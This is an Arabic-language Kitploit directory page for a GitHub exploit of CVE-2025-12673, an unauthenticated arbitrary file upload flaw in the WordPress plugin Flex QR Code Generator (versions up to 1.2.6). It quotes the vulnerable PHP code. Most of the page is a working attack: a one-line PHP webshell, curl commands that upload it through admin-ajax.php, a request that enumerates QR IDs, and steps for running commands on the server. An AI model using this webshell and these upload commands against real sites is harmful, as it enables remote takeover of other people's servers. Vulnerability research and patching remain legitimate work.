Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-12673 — Flex QR Code Generator <= 1.2.6 - رفع ملفات تعسفي بدون مصادقة | Kitploit
أدوات/GitHubGitHub/d0n601/cve-2025-12673
توليد الحمولةتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubd0n601/cve-2025-12673

CVE-2025-12673

Flex QR Code Generator <= 1.2.6 - رفع ملفات تعسفي بدون مصادقة

عرض المستودع
2منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Flex QR Code Generator <= 1.2.6 - رفع ملفات تعسفي بدون مصادقة

إضافة Flex QR Code Generator لا تتحقق من صلاحيات المستخدم ولا تنظّف الملفات المرفوعة في نقطة نهاية AJAX الخاصة بـ update_qr_code، مما يسمح للمهاجمين غير المصادق عليهم برفع ملفات تعسفية بما في ذلك سكربتات PHP قابلة للتنفيذ، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.

استغلال سريع

root@kitploit:~
# Upload PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"

التفاصيل

توجد الثغرة في طريقة update_qr_code الخاصة بكلاس FlexQrCodeGenerator. يسجّل الإضافة نقاط نهاية AJAX للمستخدمين غير المصادق عليهم، مما يسمح لأي زائر برفع ملفات تعسفية تُخزَّن في دليل رفع الملفات في ووردبريس.

الكود القابل للاستغلال من /qr-code-generator.php:457-589:

root@kitploit:~
public function update_qr_code()
{
  if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
    // ... validation code ...
    
    // Handle the logo (file upload)
    if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
      $logo = $_FILES['logo'];
      $upload_dir = wp_upload_dir();
      
      $file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
      $file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
      $new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
      $file_path = $upload_dir['path'] . '/' . $new_file_name;
      
      if (move_uploaded_file($logo['tmp_name'], $file_path)) {
        // File uploaded successfully
      }
    }
  }
}

تنفيذ الملف من /qr-code-generator.php:504:

root@kitploit:~
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
  $logo_url = $upload_dir['url'] . '/' . $new_file_name;
  $logo_url = str_replace(home_url(), '', $logo_url);
  $update_data['logo_url'] = $logo_url;
}

الوصول غير المصادق عليه من /qr-code-generator.php:41-42:

root@kitploit:~
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

إعادة الإنتاج اليدوية

  1. تحديد الهدف مع تثبيت إضافة Flex QR Code Generator
  2. العثور على معرف رمز QR الحالي:
root@kitploit:~
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -d "action=flexqr_fetch_qr_code" \
  -d "per_page=10" \
  -d "page=1"
  1. رفع ملف PHP خبيث:
root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"
  1. التحقق من الرفع عبر فحص دليل uploads بحثًا عن shell_1.php
  2. تنفيذ الأوامر بزيارة الملف المرفوع مع ?cmd=whoami
تنزيل الأداة